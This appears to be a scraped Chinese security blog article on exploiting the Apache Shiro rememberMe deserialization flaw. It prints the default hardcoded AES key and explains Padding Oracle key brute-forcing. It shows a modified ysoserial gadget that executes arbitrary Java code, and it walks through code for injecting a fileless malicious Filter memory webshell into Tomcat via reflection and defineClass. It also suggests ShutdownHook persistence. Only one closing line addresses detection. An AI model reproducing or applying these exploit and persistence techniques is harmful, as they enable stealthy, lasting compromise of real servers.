RememberMe
)的功能。
然而,Shiro对 rememberMe
的cookie做了加密处理,shiro在 CookieRememberMeManaer
类中将cookie中 rememberMe
字段内容分别进行: 序列化
、 AES加密
、 Base64编码
,三个操作。
而在识别身份的时候,则需要对Cookie里的 rememberMe
字段进行逆操作:
由于AES加密的密钥 Key
被硬编码在代码里,意味着每个人通过源代码都能拿到AES加密的密钥。
因此,攻击者完全可以构造一个恶意的Class对象,并对其 序列化
, AES加密
, Base64编码
,然后作为cookie的 rememberMe
字段发送给Shrio。Shiro将rememberMe进行解密并且反序列化,最终造成 反序列化攻击 !
PS: Shiro默认的 密钥Key
统一为 kPH+bIxk5D2deZiIxcaaaA==
,同时就算被人为修改过 密钥key
,也可以通过 Padding Oracle
来进行爆破! . 因为我们知道padding只能为: data 0x01
或者 data 0x02 0x02
或者 data 0x03 0x03 0x03
或者 data 0x04 0x04 0x04 0x04
或者 data 0x05 0x05 0x05 0x05 0x05
或者 ...... 那如果出现以下这种padding的时候会怎么样呢? data 0x05 0x05
// 正常来说这个padding应为 data 0x05 0x05 0x05 0x05 0x05
. 那解密之后的检验就会出现错误,因为padding的位数和padding内容不一致。 . 如果这个服务没有catch这个错误的话那么程序就会中途报错退出,表现为:如http服务的status code为500。那么这里就给了我们一个爆破的机会!
影响版本:
Google Hacking:
以上打包下载地址: https://download.csdn.net/download/localhost01/12618762
account page
链接)
如上,可以看到正确执行了 notepad.exe
命令,成功弹出了记事本!
然而默认GitHub下载下来的 ysoserial-0.0.6-SNAPSHOT-all.jar
只支持键入 cmd命令
(即命令执行)。
而如果想要实现下面所说的 内存马
,我们是需要编写代码让目标程序执行的(即代码执行),因此我们还需要将 ysoserial源码
下载下来,进行部分修改,并重新打包:
public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory ) throws Exception { final T templates = tplClass.newInstance(); ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath(StubTransletPayload.class)); pool.insertClassPath(new ClassClassPath(abstTranslet)); final CtClass clazz = pool.get(StubTransletPayload.class.getName()); String cmd = ""; //如果以code:开头,认为是代码,否则认为是命令 if (!command.startsWith("code:")) { cmd = "java.lang.Runtime.getRuntime().exec(/"" + command.replaceAll("////","////////").replaceAll("/"", "///"") + "/");";} else { System.err.println("Java Code Mode:"+command.substring(5));//使用stderr输出,防止影响payload的输出 cmd = command.substring(5); } clazz.makeClassInitializer().insertAfter(cmd); clazz.setName("ysoserial.Pwner" + System.nanoTime()); CtClass superC = pool.get(abstTranslet.getName()); clazz.setSuperclass(superC); final byte[] classBytes = clazz.toBytecode(); Reflections.setFieldValue(templates, "_bytecodes", new byte[][] { classBytes, ClassFiles.classAsBytes(Foo.class) 复制代码
什么是内存马,内存马即是无文件马,只存在于内存中。我们知道常见的WebShell都是有一个页面文件存在于服务器上,然而内存马则不会存在文件形式。
那么如何实现呢,我们就需要了解一下Filter!
web.xml
里面包含有
Listener
、
Filter
、
Servlet
等组件,而
Filter
程序是一个实现了特殊接口的 Java 类。
它与 Servlet
类似,也是由 Servlet 容器
进行调用和执行的,一般用于进行请求过滤,如 权限控制 、 编码/敏感过滤 等等。
当在 web.xml 注册了一个 Filter
来对某个 Servlet
程序进行拦截处理时,它可以决定是否将请求继续传递给 Servlet
程序,以及对请求和响应消息是否进行预修改。
0x02 Filter 链在一个 Web 应用程序中可以注册多个 Filter
程序,每个 Filter 程序都可以对一个或一组 Servlet
程序进行拦截。如果有多个 Filter 对某个 Servlet 程序的访问过程进行拦截,那么当针对该 Servlet
的访问请求到达时,Web 容器将把这多个 Filter 程序组合成一个 Filter 链
(也叫 过滤器链 )。
Filter 链中的各个 Filter 的拦截顺序与它们在 web.xml 文件中的映射顺序一致,上一个 Filter.doFilter()
方法中调用 FilterChain.doFilter() 方法将激活下一个 Filter.doFilter()
方法。
最后一个 Filter.doFilter()
方法中调用的 FilterChain.doFilter() 方法将激活目标 Servlet.service()
方法。
只要 Filter 链中任意一个 Filter 没有调用 FilterChain.doFilter() 方法,则目标 Servlet.service() 方法都不会被执行。
0x03 Tomcat中Filter流程用户在请求 Tomcat 资源的时候,会调用 ApplicationFilterFactory.createFilterChain()
方法,根据 web.xml 的 Filter
配置,去生成 Filter链
。
主要代码如下:
filterChain.setServlet(servlet); filterChain.setSupport(((StandardWrapper)wrapper).getInstanceSupport()); StandardContext context = (StandardContext)wrapper.getParent(); FilterMap[] filterMaps = context.findFilterMaps(); if (filterMaps != null && filterMaps.length != 0) { String servletName = wrapper.getName(); FilterMap[] arr$ = filterMaps; int len$ = filterMaps.length; int i$; FilterMap filterMap; ApplicationFilterConfig filterConfig; boolean isCometFilter; for(i$ = 0; i$ < len$; ++i$) { filterMap = arr$[i$]; if (matchDispatcher(filterMap, dispatcher) && matchFiltersURL(filterMap, requestPath)) { filterConfig = (ApplicationFilterConfig)context.findFilterConfig(filterMap.getFilterName()); if (filterConfig != null) { isCometFilter = false; if (comet) { try { isCometFilter = filterConfig.getFilter() instanceof CometFilter; } catch (Exception var21) { Throwable t = ExceptionUtils.unwrapInvocationTargetException(var21); ExceptionUtils.handleThrowable(t); } if (isCometFilter) { //添加Filter filterChain.addFilter(filterConfig); } } else { //添加Filter filterChain.addFilter(filterConfig); } } } } 复制代码
解读:
首先获取当前context,并从context中获取FilterMaps。FIlterMaps的数据结构如下:
我们可以看到,FilterMaps存放了所有的Filter的名称
和 需拦截的url正则表达式
。
遍历FilterMaps中每一个FilterMap,调用 matchFiltersURL()
这个函数,去确定请求的 url
和 Filter需拦截的正则表达式
是否匹配。
如果匹配,则通过 context.findFilterConfig()
方法根据 ** filter 对应的名称
**去查找 context.filterConfigs
中的 filterConfig
,随后将 filterConfig 添加到 Filter.chain
中。
filterConfig的数据结构如下:
可以看到,其实filterConfig
里面包含有 filterDef
对象,而 filterDef
对象里面即是真正的 Filter
。
所以整体层级结构为: context
-> filterConfigs(Map)
-> filterConfig
-> filterDef
-> Filter
。
下面我们看一下ApplicationFilterChain.internalDoFilter方法,简化后的代码如下:
ApplicationFilterConfig filterConfig = this.filters[this.pos++]; Filter filter = null; filter = filterConfig.getFilter(); this.support.fireInstanceEvent("beforeFilter", filter, request, response); filter.doFilter(request, response, this); this.support.fireInstanceEvent("afterFilter", filter, request, response); 复制代码
这里我们可以清楚看到:从刚才的 FilterChain
中,遍历每一个 FilterConfig
,然后拿出 FIlterConfig 对应的 filter
,最后调用我们熟悉的 filter.doFilter()
方法。
可以用如下流程图来方便我们理解这个过程:
可以看出,如果需要动态注册一个 Filter,结合上面的分析,只需要: 反射修改 context 相关字段,将自创建的Filter
放到 context.filterConfigs
属性中,并在 context.filterMaps
中增加一个 filterName
和 URL
的映射,即可完成动态注册一个Filter。
编写 MyPayloadFilter.java
payload,自由发挥编写,这里就不说了~
这里需要将我们写好并编译好的 MyPayloadFilter.class
,通过 反序列化漏洞
加载到被攻击程序的JVM内存中,这样下一步 class.forName()
才能拿到这个 恶意Filter
并 动态注入到Tomcat
!
那么如何将外部class文件加载到内存中呢?
在这里我们先学习以下 class.forName()
这个方法,查看openjdk的相关源码 https://hg.openjdk.java.net/jdk/jdk/file/2623069edcc7/src/java.base/share/classes/java/lang/Class.java#l374
class.forName
会获取调用方的
classloader
,然后调用
forName0()
,从调用方的 classloader 中查找要查找的类。
当然,这是一个native方法,精简后源码如下 https://hg.openjdk.java.net/jdk/jdk/file/2623069edcc7/src/java.base/share/native/libjava/Class.c#l104
Java_java_lang_Class_forName0(JNIEnv *env, jclass this, jstring classname, jboolean initialize, jobject loader, jclass caller) { char *clname; jclass cls = 0; clname = classname; cls = JVM_FindClassFromCaller(env, clname, initialize, loader, caller); return cls; } 复制代码
JVM_FindClassFromClassler
的代码在如下位置: https://hg.openjdk.java.net/jdk/jdk/file/2623069edcc7/src/hotspot/share/prims/jvm.cpp
JVM_ENTRY(jclass, JVM_FindClassFromCaller(JNIEnv* env, const char* name, jboolean init, jobject loader, jclass caller)) JVMWrapper("JVM_FindClassFromCaller throws ClassNotFoundException"); TempNewSymbol h_name = SystemDictionary::class_name_symbol(name, vmSymbols::java_lang_ClassNotFoundException(), CHECK_NULL); oop loader_oop = JNIHandles::resolve(loader); oop from_class = JNIHandles::resolve(caller); oop protection_domain = NULL; if (from_class != NULL && loader_oop != NULL) { protection_domain = java_lang_Class::as_Klass(from_class)->protection_domain(); } Handle h_loader(THREAD, loader_oop); Handle h_prot(THREAD, protection_domain); jclass result = find_class_from_class_loader(env, h_name, init, h_loader, h_prot, false, THREAD); return result; JVM_END 复制代码
主要是获取 protectDomain
等相关信息。然后调用 find_class_from_class_loader
,代码如下
jclass find_class_from_class_loader(JNIEnv* env, Symbol* name, jboolean init, Handle loader, Handle protection_domain, jboolean throwError, TRAPS) { Klass* klass = SystemDictionary::resolve_or_fail(name, loader, protection_domain, throwError != 0, CHECK_NULL); // Check if we should initialize the class if (init && klass->is_instance_klass()) { klass->initialize(CHECK_NULL); } return (jclass) JNIHandles::make_local(env, klass->java_mirror()); } 复制代码
注意:这里的 Klass
就相当于Java的 class
!
SystemDictionary::resolve_or_fail
后续会调用 SystemDictionary::resolve_or_null
:
klassOop SystemDictionary::resolve_or_null(symbolHandle class_name, Handle class_loader, Handle protection_domain, TRAPS) { assert(!THREAD->is_Compiler_thread(), "Can not load classes with the Compiler thread"); if (FieldType::is_array(class_name())) { // 1. 如果是数组的话 return resolve_array_class_or_null(class_name, class_loader, protection_domain, CHECK_NULL); } else { // 2. 如果是普通类的话 return resolve_instance_class_or_null(class_name, class_loader, protection_domain, CHECK_NULL); } } 复制代码
对于咱们来讲, MyPayloadFilter.class
肯定不是数组。
所以我们主要来分析 systemDictionary::resolve_instance_class_or_null
。代码如下:
class_loader = Handle(THREAD, java_lang_ClassLoader::non_reflection_class_loader(class_loader())); ClassLoaderData* loader_data = register_loader(class_loader); Dictionary* dictionary = loader_data->dictionary(); unsigned int d_hash = dictionary->compute_hash(name); { InstanceKlass* probe = dictionary->find(d_hash, name, protection_domain); if (probe != NULL) return probe; } 复制代码
注意:
SystemDictionary
与 Dictionary
关系 SystemDictionary
是用来帮助保存 ClassLoader 加载过的类信息的。准确点说,SystemDictionary 并不是一个容器,真正用来保存类信息的容器是 Dictionary
,每个 class_loader 的 ClassLoaderData
中都保存着一个私有的 Dictionary
,而 SystemDictionary 只是一个拥有很多静态方法的工具类而已,如上的 systemDictionary::resolve_instance_class_or_null()
、 SystemDictionary::resolve_or_null()
等,都是该工具类提供的静态方法;
class_loader
与 dictionary
在Java中的体现 : 这里的 class_loader
就类似Java的 ClassLoader
; dictionary
就相当于 ClassLoader
中的 classes
属性,里面存储了所有加载JVM中的class类!
最终通过 dictionary->find()
方法去查到需查询的类。那么对应Java来看,其实也就是查找 classloader
的 classes
属性集里面的 class类
。
因此,我们只需要将 class文件
写入到 classloader.classes
属性中即可!
网上说,需要先使用 defineClass()
,将 网络传输过来的恶意 class byte数组
转换为 class类
,再使用反射将 class类
写入到 classloader 的 classes 字段!
其实我测试是不需要的, defineClass()
底层会自动将 class类
加载到 classloader 的 classes 字段,如下为 defineClass 的底层实现:
因此,整个实现为:
BASE64Decoder b64Decoder = new sun.misc.BASE64Decoder(); String codeClass = base64AndCompress("[MyPayloadFilter.class]"); ClassLoader currentClassloader = Thread.currentThread().getContextClassLoader(); Method defineClass = Thread.currentThread().getContextClassLoader().getClass().getSuperclass().getSuperclass() .getSuperclass().getSuperclass().getDeclaredMethod("defineClass", byte[].class, int.class, int.class); Class evilClass = (Class) defineClass.invoke(currentClassloader, uncompress(b64Decoder.decodeBuffer(codeClass)) , 0, uncompress(b64Decoder.decodeBuffer(codeClass)).length); 复制代码
上面我们看到有一个 base64AndCompress()
方法:
如果我们直接将 MyPayloadFilter.class
作为参数进行HTTP请求,会因为payload过大,而超过tomcat的限制,导致tomcat报400 bad request错误。因此我们需要 缩小我们动态加载 Filter 的 payload大小 。
0x01 获取context可通过MBean的方式去获取当前context,我们查看一下tomcat的MBean:
伪代码(具体需要使用 反射获取下面的各个属性):
Registry.getRegistry((Object) null, (Object) null).getMBeanServer().mbsInterceptor.repository.domainTb.get("Catalina").get("context=/samples-web-1.2.4,host=localhost,name=NonLoginAuthenticator,type=Valve").object.resource.context 复制代码
当然,还有很多种办法,这里只是一个例子。
0x02 实例一个FilterMap,用于建立url与Filter名字的映射 FilterMap
的作用建立 url
与 Filter名字
的关系。在这里我们需要设置我们的 恶意filter
都拦截哪些url。代码如下:
Object filterMap = Class.forName("FilterMap").newInstance(); Method filterMapaddURLPattern = Class.forName("FilterMap").getMethod("addURLPattern", String.class); filterMapaddURLPattern.invoke(filterMap, "/*"); //设置filter的名字为testFilter Method setFilterName= Class.forName("FilterMap").getMethod("setFilterName", String.class); setFilterName.invoke(filterMap, "testFilter"); 复制代码
0x03 实例一个FilterDef首先我们实例化一个FilterDef,FilterDef的作用主要为 描述Filter名字与Filter实例的关系 。同时后面调用context.FilterMap的时候会校验FilterDef,所以我们需要先设置FilterDef:
Object filterDef = Class.forName("FilterDef").newInstance(); // 1.设置过滤器名字 Method setFilterName = Class.forName("FilterDef").getMethod("setFilterName", String.class); setFilterName.invoke(filterDef, "testFilter"); // 2.设置过滤器实例 Method setFilter = Class.forName("FilterDef").getMethod("setFilter", Filter.class); //通过class.forname拿到我们的攻击Filter Class payloadFilter = Class.forName("MyPayloadFilter"); setFilter.invoke(filterDef, payloadFilter.newInstance()); 复制代码
0x04 实例一个FilterConfig(FilterDef为构造参数),并添加至context的filterConfigs属性中这里很简单,最后我们需要添加ApplicationFIlterConfig就可以了,代码如下
Field contextfilterConfigs = context.getClass().getDeclaredField("filterConfigs"); HashMap filterConfigs = (HashMap) contextfilterConfigs.get(context); Constructor<?>[] filterConfigCon = Class.forName("ApplicationFilterConfig").getDeclaredConstructors(); filterConfigs.put("testFilter", filterConfigCon[0].newInstance(context, filterDef)); 复制代码
以上代码即可将一个恶意Filter注入到Tomcat!
另外网上还有一些 不死WebShell
的方法,如通过设置Java虚拟机的关闭钩子ShutdownHook来达到这个目的。
ShutdownHook是JDK提供的一个用来在JVM关掉时清理现场的机制,这个钩子可以在如下场景中被JVM调用: 1.程序正常退出 2.使用System.exit()退出 3.用户使用Ctrl+C触发的中断导致的退出 4.用户注销或者系统关机 5.OutofMemory导致的退出 6.Kill pid命令导致的退出 ShutdownHook可以很好的保证在tomcat关闭时,让我们有机会埋下复活的种子!
2、tomcat->Catalina/Filter节点,检查是否存在我们不认识的、没有在web.xml中配置或filterClass为空的Filter,如图: